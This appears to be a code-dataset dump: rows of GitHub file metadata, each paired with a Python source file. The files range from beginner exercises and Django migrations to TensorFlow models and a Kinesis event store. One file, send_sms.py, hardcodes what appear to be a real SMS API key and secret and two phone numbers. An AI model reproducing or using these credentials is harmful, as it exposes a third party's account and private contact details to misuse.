blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M โ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 โ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 โ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fe08790f0a1ce9cb7efb4031c9bbf11adbbfcec9 | 6efdee46507c2f2d05e4986c963f189a1e754e9b | /ex15.py | 048204e2129b9aea9b9230e4d635d3eca03a682d | [] | no_license | SachinPitale/Python | b0d2d08f6f12bdce8a30ba9e9c370d3415721168 | 6889527b4b04e394feedcd6516e0298cccb6c5ee | refs/heads/master | 2020-07-26T05:59:46.325528 | 2019-09-15T07:26:24 | 2019-09-15T07:26:24 | 208,557,473 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 246 | py |
from sys import argv
script, filename = argv
txt = open(filename)
print "Here's your file %r :" %filename
print txt.read()
print "type the file name again "
file_again = raw_input("> ")
txt_again = open(file_again)
print txt_again.read()
| [
"sachinpitale22@gmail.com"
] | sachinpitale22@gmail.com |
689f182aaf2c3e12e5345b5f4029c3a84a26d873 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/adjectives/_unshakeable.py | e5580220c428d26267e79c308054751c325bd982 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 464 | py |
#calss header
class _UNSHAKEABLE():
def __init__(self,):
self.name = "UNSHAKEABLE"
self.definitions = [u"If someone's trust or belief is unshakeable, it is firm and cannot be made weaker or destroyed: "]
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.specie = 'adje... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
1fb2df762dd45f6aa9845f161da2ee0c3e55bf03 | 77f5a8d34aadc697e95671f1c9b17ca547e2b4c1 | /xierpa3/contributions/filibuster/content/creditcard.py | 3038f19db04632a24c976e6344a1a4cf9dd30217 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | dungmv56/Xierpa3 | ef9f37a62a5b739e6e41f8bbe683820771a2f22e | 1e5fecaee84204401f3cc7ccea10092cb31029bf | refs/heads/master | 2020-12-24T11:17:31.945821 | 2016-02-25T11:39:08 | 2016-02-25T11:39:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,697 | py | # -*- coding: UTF-8 -*-
# -----------------------------------------------------------------------------
# xierpa server
# Copyright (c) 2014+ buro@petr.com, www.petr.com, www.xierpa.com
#
# X I E R P A 3
# Distribution by the MIT License.
#
# ---------------------------------------------------------------... | [
"michiel@concretejungle.nl"
] | michiel@concretejungle.nl |
de8214dd5f2792bdca5eccdda107e72222c30130 | 58115fa94a81b02a8b194fe7f1c1cd4ff996df97 | /src/anyconfig/schema/__init__.py | 1437437066cf8b3c7b6580abe489d66ce4816ad7 | [
"MIT"
] | permissive | Terrance-forks/python-anyconfig | 9f77de334c162e1c2334a749c29f63bd0294a09b | 21d7c0e30287569b394972557b5a54fab03bcd5c | refs/heads/master | 2021-06-19T09:11:18.697637 | 2021-05-17T04:35:10 | 2021-05-17T04:35:10 | 202,930,334 | 0 | 0 | MIT | 2019-08-17T20:52:23 | 2019-08-17T20:52:22 | null | UTF-8 | Python | false | false | 451 | py | #
# Copyright (C) 2021 Satoru SATOH <satoru.satoh@gmail.com>
# SPDX-License-Identifier: MIT
#
r"""misc global constants, variables, classes and so on.
"""
try:
from .jsonschema import validate, is_valid, gen_schema
SUPPORTED: bool = True
except ImportError:
from .default import validate, is_valid, gen_schem... | [
"satoru.satoh@gmail.com"
] | satoru.satoh@gmail.com |
98730ea9cabba62f347e29709bcad21695798feb | b6dce5523115d7e51ce1c5bf11ca963f9a17f04c | /shift/utils/timer.py | 4be249aeb97ad182f8bf6179f4a88b92a227a55e | [
"MIT"
] | permissive | fyabc/Py2016 | 1fcb345df6bcd89348686e13337158aa4325a8e0 | a7e2b4ad11c96be97107821defef379d6e6f7595 | refs/heads/master | 2020-12-29T02:37:17.580568 | 2017-02-27T16:18:02 | 2017-02-27T16:18:02 | 54,388,415 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,084 | py | # -*- coding: utf-8 -*-
__author__ = 'fyabc'
import pygame
import time
class ShiftTimer:
"""The Timer of this game. Copied from pgu.timer.
This is a singleton class. Do NOT have two ShiftTimer object at the same time.
"""
# The game time when one of the clock parameters was last changed
lastGame... | [
"fyabc@mail.ustc.edu.cn"
] | fyabc@mail.ustc.edu.cn |
2db6b9d03d9ffa6ad05fa7db612b7e2db5364dd6 | facb8b9155a569b09ba66aefc22564a5bf9cd319 | /wp2/merra_scripts/02_preprocessing/merraLagScripts/443-tideGauge.py | 1cfa0de339d2f9659ec80f2176dd2e40a6ad8413 | [] | no_license | moinabyssinia/modeling-global-storm-surges | 13e69faa8f45a1244a964c5de4e2a5a6c95b2128 | 6e385b2a5f0867df8ceabd155e17ba876779c1bd | refs/heads/master | 2023-06-09T00:40:39.319465 | 2021-06-25T21:00:44 | 2021-06-25T21:00:44 | 229,080,191 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,772 | py | # -*- coding: utf-8 -*-
"""
Created on Tue Mar 31 17:12:23 2020
****************************************************
Load predictors & predictands + predictor importance
****************************************************
@author: Michael Tadesse
"""
#import packages
import os
import pandas as pd
import datetime a... | [
"michaelg.tadesse@gmail.com"
] | michaelg.tadesse@gmail.com |
64411eeed18edf4d09de5cf319c24119d1bea4e2 | facb8b9155a569b09ba66aefc22564a5bf9cd319 | /wp2/era5_scripts/02_preprocessing/lag82/443-tideGauge.py | 00c7b277a09c1bb696c020bb8ff48ee0b7724626 | [] | no_license | moinabyssinia/modeling-global-storm-surges | 13e69faa8f45a1244a964c5de4e2a5a6c95b2128 | 6e385b2a5f0867df8ceabd155e17ba876779c1bd | refs/heads/master | 2023-06-09T00:40:39.319465 | 2021-06-25T21:00:44 | 2021-06-25T21:00:44 | 229,080,191 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,984 | py | # -*- coding: utf-8 -*-
"""
Created on Tue Mar 31 17:12:23 2020
****************************************************
Load predictors & predictands + predictor importance
****************************************************
@author: Michael Tadesse
"""
#import packages
import os
import pandas as pd
import datetime a... | [
"michaelg.tadesse@gmail.com"
] | michaelg.tadesse@gmail.com |
f5c65c37b451bb7845cec225a79a12aa20bfce04 | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /KPicBthv6WhHFGapg_17.py | 7aa3aa5f1a8fb508597b2d6bcee51885d1d6d0bd | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 595 | py | """
Create a function that returns the **number of syllables** in a simple string.
The string is made up of _short repeated words_ like `"Lalalalalalala"` (which
would have _7 syllables_ ).
### Examples
count_syllables("Hehehehehehe") โ 6
count_syllables("bobobobobobobobo") โ 8
count_syllable... | [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
f066cea6f931f46a65d678f695ba5d46150afd2f | 75402b6c851a12ae41359fdd83e89d2160c308af | /zentral/core/stores/backends/kinesis.py | a5c04ab974baab80ac23fec6e49719b18ff53a28 | [
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-commercial-license"
] | permissive | neocode12/zentral | 7b05aeeb823a5a3d7d268cc2b01e0bf1a5e4be71 | 9ecc8d8334148627fcccaa875f100adacd7a018b | refs/heads/main | 2023-04-09T12:06:45.355559 | 2023-03-15T14:05:05 | 2023-03-15T14:05:05 | 327,651,549 | 0 | 0 | Apache-2.0 | 2021-01-07T15:30:00 | 2021-01-07T15:30:00 | null | UTF-8 | Python | false | false | 4,096 | py | import logging
import boto3
from kombu.utils import json
from zentral.core.exceptions import ImproperlyConfigured
from zentral.core.stores.backends.base import BaseEventStore
from zentral.utils.boto3 import make_refreshable_assume_role_session
logger = logging.getLogger('zentral.core.stores.backends.kinesis')
class... | [
"eric.falconnier@112hz.com"
] | eric.falconnier@112hz.com |
af646b7ff78e8c9fcdc8fbc2cb08695b04778a24 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/127/usersdata/218/35224/submittedfiles/ex11.py | 4cdc5c3d13ba6d1d5401867a17bcaa65083f3520 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 543 | py | # -*- coding: utf-8 -*-
D1=int(input('digite o dia da data 1:'))
D2=int(input('digite o dia da data 2:'))
M1=int(input('digite o mรชs da data 1:'))
M2=int(input('digite o mรชs da data 2:'))
A1=int(input('digite o ano da data 1:'))
A2=int(input('digite o ano da data 2:'))
if A1>A2:
print(data1)
elif A2>A1:
print(d... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
0fc2541411dcb465d061d206bdbd4ed4a27b5913 | ea97a6d0d5ffc5ec2730b63a20b1f4de0bd8112d | /scurgen/test/axes_demo.py | a74c934af8fb6965cae2a134495e19057c3db58d | [] | no_license | daler/scurgen | 35d5ee35243a41b75c444f5bb71380ba80ba72c6 | ca0e4f30e9573684b90a8123e31982490b5fe473 | refs/heads/master | 2020-12-24T19:18:19.587609 | 2013-03-11T16:35:33 | 2013-03-11T16:35:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,375 | py | import matplotlib.pyplot as plt
from mpl_toolkits.axes_grid1 import make_axes_locatable
import matplotlib.gridspec as gs
import numpy as np
fig = plt.figure(figsize=(10,10))
nchroms = 21
nrows = int(np.round(np.sqrt(nchroms)))
ncols = nrows
nfiles = 3
CHROM = dict(
left= 0.05,
right=0.8,
top=0.9,
bo... | [
"dalerr@niddk.nih.gov"
] | dalerr@niddk.nih.gov |
6fbab4480a4dbe295810065fd70027aba431136e | 65fcf07ea6d6dfe0c5a4090343b098807e075010 | /app/send_sms.py | ddf1616e9f2939a4869869007f444ac64bf91988 | [] | no_license | parkhongbeen/study_selenium | 0e7e0bc23809c57c29d5352e2ee81b9a74060026 | f1bdfd3c3aa3299791cc53363eea0a811c6dcedc | refs/heads/master | 2021-04-20T11:27:39.522904 | 2020-03-26T12:54:59 | 2020-03-26T12:54:59 | 249,679,396 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 381 | py | from sdk.api.message import Message
api_key = "NCSGLMHSQ2FTVZUA"
api_secret = "LCSOKSWPDNLZF971PMZ4XAQPZPYD60EW"
params = dict()
params['type'] = 'sms'
params['to'] = '01082128997'
params['from'] = '01050022354'
params['text'] = '์ผ ํ๋น์ ๋ด๊ฐ ๋ด์ผ ์ปคํผ์ฌ์ค๊ป'
cool = Message(api_key, api_secret)
try:
response = cool.send(pa... | [
"pack122@naver.com"
] | pack122@naver.com |
7734622e41048306a547129450508bf4c50e9f13 | 094627e84a63cdeb97c8917cc6581cc55fa8f583 | /brl_baselines/deepq/models.py | 4309da5e793c8494de2fd8a12a042c7a978427f7 | [
"BSD-3-Clause"
] | permissive | gilwoolee/brl_baselines | 844f23b31f53648796325d13cb3c252cda0fc55d | c85df28c0f2dfbd69d3d27928bcbabf36a3663bb | refs/heads/master | 2022-11-28T22:31:31.195138 | 2020-08-04T02:17:28 | 2020-08-04T02:17:28 | 278,916,753 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,059 | py | import tensorflow as tf
import tensorflow.contrib.layers as layers
def _mlp(hiddens, input_, num_actions, scope, reuse=False, layer_norm=False):
with tf.variable_scope(scope, reuse=reuse):
out = input_
for hidden in hiddens:
out = layers.fully_connected(out, num_outputs=hidden, activat... | [
"gilwoo301@gmail.com"
] | gilwoo301@gmail.com |
a28750d60b8ec5ca5296f66052472828b084a86a | 293763954ad29020d68d17bb20b2ac8ce09b2412 | /Learning & Documentation/Create Models in Tensorflow/linear_regression.py | de2ef0001bad013224eaa176c22b37be896378d2 | [
"MIT"
] | permissive | grebtsew/Object-and-facial-detection-in-python | b4371d86ca1b997c310c961b4eeb975af42a8f78 | 4ef987f1de7509876ca1e3588b2d6f4afaef2a75 | refs/heads/master | 2023-03-30T16:52:07.192025 | 2022-07-29T16:00:50 | 2022-07-29T16:00:50 | 122,378,661 | 17 | 5 | MIT | 2023-03-25T01:49:15 | 2018-02-21T18:52:07 | Python | UTF-8 | Python | false | false | 3,681 | py | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"danwe980@student.liu.se"
] | danwe980@student.liu.se |
4e0dade735408ec02614201f3dce6b1d129075a7 | a518141ca3ba2b6fa63a7961b51936d9438ff022 | /10812 - Beat the Spread!.py | 5d9944100b2a7760d5decf4054a94f3decb2b9c7 | [] | no_license | jlhung/UVA-Python | ec93b2c98e04c753e8356f3e4825584fae4a8663 | 7a0db4fecffd7ac4f377f93da41291a8e998ee9b | refs/heads/master | 2022-11-28T04:47:49.270187 | 2020-08-10T13:19:58 | 2020-08-10T13:19:58 | 116,969,745 | 19 | 9 | null | null | null | null | UTF-8 | Python | false | false | 182 | py | n = int(input())
while n:
x, y = map(int, input().split())
if (x+y) % 2 or (x+y) < 0 or (x-y) < 0:
print("impossible")
else:
print(int((x+y) / 2), int((x-y) / 2))
n -= 1 | [
"35291112+jlhung@users.noreply.github.com"
] | 35291112+jlhung@users.noreply.github.com |
62085bac7af2c75ef4995d947ebe57ef7dcf9cb2 | 44a2741832c8ca67c8e42c17a82dbe23a283428d | /cmssw/HeavyIonsAnalysis/JetAnalysis/python/jets/ak6CaloJetSequence_pPb_mix_cff.py | 43faa9de8f5e464f8f33daa997f0ff65a0071833 | [] | no_license | yenjie/HIGenerator | 9ff00b3f98b245f375fbd1b565560fba50749344 | 28622c10395af795b2b5b1fecf42e9f6d4e26f2a | refs/heads/master | 2021-01-19T01:59:57.508354 | 2016-06-01T08:06:07 | 2016-06-01T08:06:07 | 22,097,752 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,457 | py |
import FWCore.ParameterSet.Config as cms
from PhysicsTools.PatAlgos.patHeavyIonSequences_cff import *
from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import *
ak6Calomatch = patJetGenJetMatch.clone(
src = cms.InputTag("ak6CaloJets"),
matched = cms.InputTag("ak6HiGenJetsCleaned")
)
ak6Calopar... | [
"dgulhan@cern.ch"
] | dgulhan@cern.ch |
0ff42ffdcd69c859b093f5e2f320ba03debf77c8 | fea9e7fc8b5ae1752a8917f415ddfcadc62ae540 | /practice/week2/css-selector/sel_books.py | 9e571bd96e24c0ce80be33267c1c92621b9eed3f | [] | no_license | Dadajon/dl-with-big-data | fc85e0dd13aa857b89c9b707faabcfc69b51fe24 | 8e7b543948be0773550a114dc6467627c88e445f | refs/heads/main | 2023-07-26T05:43:02.901241 | 2021-09-09T06:09:43 | 2021-09-09T06:09:43 | 328,919,918 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 564 | py | from bs4 import BeautifulSoup
fp = open("books.html", encoding='utf-8')
soup = BeautifulSoup(fp, 'html.parser')
sel = lambda q: print(soup.select_one(q).string)
sel("#nu") # id๋ก ์ฐพ๋ ๋ฐฉ๋ฒ
sel("li#nu") # id์ tag๋ก ์ฐพ๋ ๋ฐฉ๋ฒ
sel("ul > li#nu") # ๋ถ๋ชจ tag๋ก id์ tag๋ก ์ฐพ๋ ๋ฐฉ๋ฒ
sel("#bible #nu") # id๋ก ์๋์ id๋ฅผ ์ฐพ๋ ๋ฐฉ๋ฒ
sel("#bible > #nu") # id... | [
"dadajonjurakuziev@gmail.com"
] | dadajonjurakuziev@gmail.com |
4dd2952b692d1eb7f9535151212982a8483654d6 | 0bf183f870d39037a254695b163c833512a826f8 | /wapps/migrations/0016_auto_20161024_0925.py | 5799f374b78a09d39052c63d158a41562f899572 | [
"MIT"
] | permissive | apihackers/wapps | 47c57a762aec89bc398a152763a2b26005d8ffdc | e8158747aa3d77246d41142580faf9a5f2b0d968 | refs/heads/master | 2022-06-19T19:40:28.615502 | 2018-05-02T12:42:51 | 2018-05-02T12:42:51 | 59,942,417 | 7 | 2 | MIT | 2022-05-21T21:45:25 | 2016-05-29T12:40:01 | Python | UTF-8 | Python | false | false | 723 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.2 on 2016-10-24 09:25
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
from wapps.utils import get_image_model
class Migration(migrations.Migration):
dependencies = [
('wapps', '0015_iden... | [
"noirbizarre@gmail.com"
] | noirbizarre@gmail.com |
12a314df473b007e01fcd646a5de9d22189aca4b | 9b7d1472086eed304320312043a95610a39baf9c | /easy_maps/migrations/0001_initial.py | 63a5e3ffb746437d92af2bbe813d7a74e7c6e4bc | [
"MIT"
] | permissive | duct-tape/django-easy-maps | 1831785952c5ef40028197d5ab618074b5a6053a | 790196fcb5652a76a64f7f513c4c4ef4a1c905df | refs/heads/master | 2020-05-28T05:14:18.312914 | 2019-04-21T04:40:29 | 2019-04-21T04:40:29 | 188,890,561 | 0 | 0 | MIT | 2019-05-27T18:20:17 | 2019-05-27T18:20:16 | null | UTF-8 | Python | false | false | 1,103 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='Address',
fields=[
('id', models.AutoField(verb... | [
"basil.shubin@gmail.com"
] | basil.shubin@gmail.com |
64ccdd263ca98e95b24a5cf753dcf440d430245d | 10e1a046d2fb02d0742364c5d2ca3a40f9380416 | /py_wake/tests/test_windturbines/test_generic_wind_turbines.py | 0dec1eb35265b6ee19a256e891ed3db51e58c090 | [
"MIT"
] | permissive | Bowen-Du/PyWake | e1c407d4ff20101c95c28cd856faec729b414320 | 9a3c9a85f50082da01286b2dc8551a4e8f5fc037 | refs/heads/master | 2023-06-10T20:36:00.213649 | 2021-07-02T11:43:51 | 2021-07-02T13:14:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,371 | py | from py_wake.examples.data.hornsrev1 import V80, Hornsrev1Site
from py_wake.wind_turbines._wind_turbines import WindTurbine
from py_wake.wind_turbines.generic_wind_turbines import GenericWindTurbine, GenericTIRhoWindTurbine
from py_wake.examples.data import wtg_path
from py_wake.examples.data.dtu10mw import DTU10MW
imp... | [
"mmpe@dtu.dk"
] | mmpe@dtu.dk |
01d3ab118c111cade14811b445555a634d2d86f8 | 2fd0c65aa0f72133f773dac5d9a5c48fe9e26fac | /Dsz/PyScripts/Lib/dsz/mca/file/cmd/logedit/errors.py | 9078f31a6058462a9312fcb46aac6150a7228736 | [] | no_license | FingerLeakers/DanderSpritz_docs | f5d2430e0b86b1b2f0684f02ddd4fa973a5a7364 | d96b6a71c039b329f9f81544f645857c75360e7f | refs/heads/master | 2021-01-25T13:05:51.732149 | 2018-03-08T01:22:49 | 2018-03-08T01:22:49 | 123,527,268 | 2 | 0 | null | 2018-03-02T03:48:31 | 2018-03-02T03:48:30 | null | UTF-8 | Python | false | false | 1,344 | py | # uncompyle6 version 2.9.10
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.10 (default, Feb 6 2017, 23:53:20)
# [GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.34)]
# Embedded file name: errors.py
import mcl.status
ERR_SUCCESS = mcl.status.MCL_SUCCESS
ERR_INVALID_PARAM = mcl.status.framework.ERR_STAR... | [
"francisck@protonmail.ch"
] | francisck@protonmail.ch |
3ce562a5e5b5881b87d936099c74eb0efc486b7b | 05de912d5579e031a8ccaeb9b8ea70f1431b82ad | /mopidy/audio/mixers/__init__.py | feaccc3d077f9d2b34cbf8dfeb1dad65870713f2 | [
"Apache-2.0"
] | permissive | cave-scorpion/mopidy | bcb0939ddacb0bd295ad36c2b073b369869a15cf | 5d83e3e97a47efcfa62558ba57fd394b8c311aa6 | refs/heads/master | 2021-01-16T22:16:21.134218 | 2013-03-31T14:59:30 | 2013-03-31T14:59:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 479 | py | from __future__ import unicode_literals
import pygst
pygst.require('0.10')
import gst
import gobject
from .auto import AutoAudioMixer
from .fake import FakeMixer
from .nad import NadMixer
def register_mixer(mixer_class):
gobject.type_register(mixer_class)
gst.element_register(
mixer_class, mixer_cla... | [
"stein.magnus@jodal.no"
] | stein.magnus@jodal.no |
e6ba65a1e4349381acba5c01404dcd17efb2c8d3 | f023692f73992354a0b7823d9c49ae730c95ab52 | /AtCoderBeginnerContest/1XX/186/E_another.py | 5cd6db2ce83b44b90602978bdf66cc3d4f96d6b5 | [] | no_license | corutopi/AtCorder_python | a959e733f9a3549fab7162023e414ac2c99c4abe | a2c78cc647076071549e354c398155a65d5e331a | refs/heads/master | 2023-08-31T09:40:35.929155 | 2023-08-20T06:19:35 | 2023-08-20T06:19:35 | 197,030,129 | 1 | 0 | null | 2022-06-22T04:06:28 | 2019-07-15T15:57:34 | Python | UTF-8 | Python | false | false | 1,876 | py | """
ไปฅไธใๅ่ใซไฝๆ
https://twitter.com/kyopro_friends/status/1341216644727676928
s + k * x โก 0 mod n ใ่งฃใ(xใๆฑใใ).
้ณฅใฎๅทฃๅ็ใใ x <= n ใฎใใ,
x = im + j (0 <= i, j <= m = n**0.5)
ใจ่กจใใ.
j ใ 0 ๏ฝ m ใฎๆใฎไฝ็ฝฎ(s + k * j mod n)ใๅ่จ็ฎใ,mapใซๆใฃใฆใใ(jmap).
s + k * (im + j) โก 0 mod n
s + k * j + k * im โก 0 mod n
((s + k * j) mod n) + ... | [
"39874652+corutopi@users.noreply.github.com"
] | 39874652+corutopi@users.noreply.github.com |
a3b8e7c2bd30a297c6acbb500964593d46332088 | 3d82768d4f912eb940a1238a3b6347c727e52558 | /expense/migrations/0004_auto_20201024_1825.py | 83e59278f488ec0faee9c08743a0a6ee6c64bc63 | [] | no_license | surajit003/tdd-expense-app | b4dd53c1328f4dd40b39593e09f8afe9e811ff4a | 603c6f56ce35944c1acf8deefd6d7b420576e65d | refs/heads/main | 2023-01-08T16:01:42.102279 | 2020-11-08T20:47:04 | 2020-11-08T20:47:04 | 305,830,003 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 723 | py | # Generated by Django 3.1.2 on 2020-10-24 18:25
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [("expense", "0003_auto_20201024_1816")]
operations = [
migrations.AlterField(
model_name="expense",
name="expense_id",
... | [
"surajit@poweredbypeople.io"
] | surajit@poweredbypeople.io |
2e43ad66add5cc370ee3dc18b1754c8d45d8b1fe | 31eaed64b0caeda5c5fe3603609402034e6eb7be | /ignorancia_zero/iz_aula-064 - programaรงรฃo orientada a objetos.py | e7aa8a74376c2e9fbd0ede1bee421dec1ba61654 | [] | no_license | RaphaelfsOliveira/workspace_python | 93657b581043176ecffb5783de208c0a00924832 | 90959697687b9398cc48146461750942802933b3 | refs/heads/master | 2021-01-11T17:39:49.574875 | 2017-06-28T20:55:43 | 2017-06-28T20:55:43 | 79,814,783 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,418 | py | # metodo especial construtor de objeto
# instancia o objeto
'__init__'
# devolve o objeto no formato de um dicionario
'__dict__'
# transforma o objeto em string, tem sempre que retornar uma string
'__str__'
# faz operaรงรตes com outra instancia do objeto somente com sinal + - / *
'__add__'
#imprime na tela a docum... | [
"raphaelbrf@gmail.com"
] | raphaelbrf@gmail.com |
bfb960beefa750bcc845e2efc49507af9740647a | 52a61caff0aeb434c32e5657e38762643e9f57dd | /DataStructuresAndAlgorithms/SearchAndSort/Search/BinarySearch/functionBinarySearch.py | 6a7e15608caca8460acd2988b9f9a53c5f770492 | [] | no_license | AndrewErmakov/PythonTrainingBasics | 1480a6378d1ec59884760e2b3014ccc3d28f058f | 639e15bbfc54da762cb9e366497754cfece30691 | refs/heads/master | 2021-06-10T15:57:58.682335 | 2021-03-25T13:37:30 | 2021-03-25T13:37:30 | 153,678,760 | 0 | 0 | null | 2018-10-30T13:52:51 | 2018-10-18T19:45:47 | Python | UTF-8 | Python | false | false | 596 | py | def binary_search(list_num: list, number: int) -> int:
"""ะัะฒะพะดะธั ะธะฝะดะตะบั ะทะฝะฐัะตะฝะธั, ะบะพัะพัะพะต ะผั ะธัะตะผ, ะธะฝะฐัะต ะฒัะฒะพะดะธััั ะะ ะะะะะะะ"""
low_border = 0
high_border = len(list_num) - 1
while low_border <= high_border:
mid = low_border + (high_border - low_border) // 2
guess = list_num[mid]
... | [
"andrew.67@list.ru"
] | andrew.67@list.ru |
06b82317f341de041aa076425ac0ea6a0b157357 | fdb9b553a23647f7ea06f690613707c40b54902f | /src/main/resources/resource/LocalSpeech/LocalSpeech.py | 3c699a5680887399d9993fd401bcfa08d5ebce64 | [
"CC-BY-2.5",
"Apache-2.0"
] | permissive | ShaunHolt/myrobotlab | d8d9f94e90457474cf363d36f4a45d396cfae900 | 92046d77abd560f0203050b3cccb21aa9df467f2 | refs/heads/develop | 2021-07-08T04:55:01.462116 | 2020-04-18T19:58:17 | 2020-04-18T19:58:17 | 122,795,957 | 0 | 0 | Apache-2.0 | 2020-04-18T19:58:18 | 2018-02-25T01:37:54 | Java | UTF-8 | Python | false | false | 886 | py | #########################################
# LocalSpeech.py
# description: used as a general template
# categories: speech
# more info @: http://myrobotlab.org/service/LocalSpeech
#########################################
# start the service
mouth = Runtime.start('mouth','LocalSpeech')
#possible voices ( selected voic... | [
"grog@myrobotlab.org"
] | grog@myrobotlab.org |
474938eddcd278b842c02f4bc13beab9969ae5d4 | cbf448f9fa287b38a6b175040141e9ee445cfcd1 | /DNN_3L/evaluation_matrics.py | cbb95bef1984a401aac76d2f267d039a67d8c78a | [] | no_license | rnaimehaom/SST-Result | 271c115d6ab1f14265169d98f604d4a63c71184e | 829029b060010b2928032b3d6728c660b538b5cf | refs/heads/main | 2023-03-27T23:17:53.935109 | 2021-04-09T02:49:58 | 2021-04-09T02:49:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,284 | py | # -*- coding: utf-8 -*-
"""
Created on Mon Nov 2 15:39:34 2020
@author: tanzheng
"""
import pickle
import numpy as np
with open('DNN_3L_SST_predict.pkl', 'rb') as f:
MT_predict_result = pickle.load(f)
f.close()
first_pred_out_y, second_pred_out_y, out_prop_y, tasks = MT_predict_result
... | [
"noreply@github.com"
] | rnaimehaom.noreply@github.com |
ef5cfcba95a6606c5510682302bc8b7563f002b6 | e90bf4b372da78ceec15282d060b48d18ba8d4e9 | /supervisor/backups/const.py | c4b5e593e438d1e447c34ebcb2e8cc63ca5d919e | [
"Apache-2.0"
] | permissive | home-assistant/supervisor | 67f2e1755ff5fbf7cf2084351e1c32c6995274e0 | 4838b280adafed0997f32e021274b531178386cd | refs/heads/main | 2023-08-31T22:51:25.949277 | 2023-08-31T08:01:42 | 2023-08-31T08:01:42 | 84,926,758 | 928 | 477 | Apache-2.0 | 2023-09-14T17:11:27 | 2017-03-14T08:54:15 | Python | UTF-8 | Python | false | false | 945 | py | """Backup consts."""
from enum import StrEnum
BUF_SIZE = 2**20 * 4 # 4MB
class BackupType(StrEnum):
"""Backup type enum."""
FULL = "full"
PARTIAL = "partial"
class BackupJobStage(StrEnum):
"""Backup job stage enum."""
ADDON_REPOSITORIES = "addon_repositories"
ADDONS = "addons"
DOCKER... | [
"noreply@github.com"
] | home-assistant.noreply@github.com |
